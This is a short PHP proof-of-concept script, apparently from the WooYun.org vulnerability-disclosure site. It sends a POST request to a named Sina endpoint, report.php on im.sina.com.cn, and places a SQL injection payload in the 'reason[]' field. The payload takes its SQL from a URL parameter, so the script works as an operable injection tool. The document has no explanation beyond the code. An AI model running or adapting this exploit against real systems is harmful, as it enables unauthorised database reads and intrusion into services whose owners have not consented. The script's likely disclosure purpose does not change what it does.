WooYun.org

<?php
 function do_post_request($url, $data, $optional_headers = null)
  {
     $params = array('http' => array(
                  'method' => 'POST',
                  'content' => $data
               ));
     if ($optional_headers !== null) {
        $params['http']['header'] = $optional_headers;
     }
     $ctx = stream_context_create($params);
     $fp = @fopen($url, 'rb', false, $ctx);
     if (!$fp) {
        throw new Exception("Problem with $url, $php_errormsg");
     }
     $response = @stream_get_contents($fp);
     if ($response === false) {
        throw new Exception("Problem reading data from $url, $php_errormsg");
     }
     return $response;
  }
  $data = "uploadFile=123456&content=111111&gid=123456&fid=123456&addr_url=123456&report_object=1268896683&type=1&reason%5B%5D=a' and 1=".$_GET['sql']." or '";
  echo do_post_request('http://im.sina.com.cn/report.php?type=1&uid=1&retcode=0',$data);
?>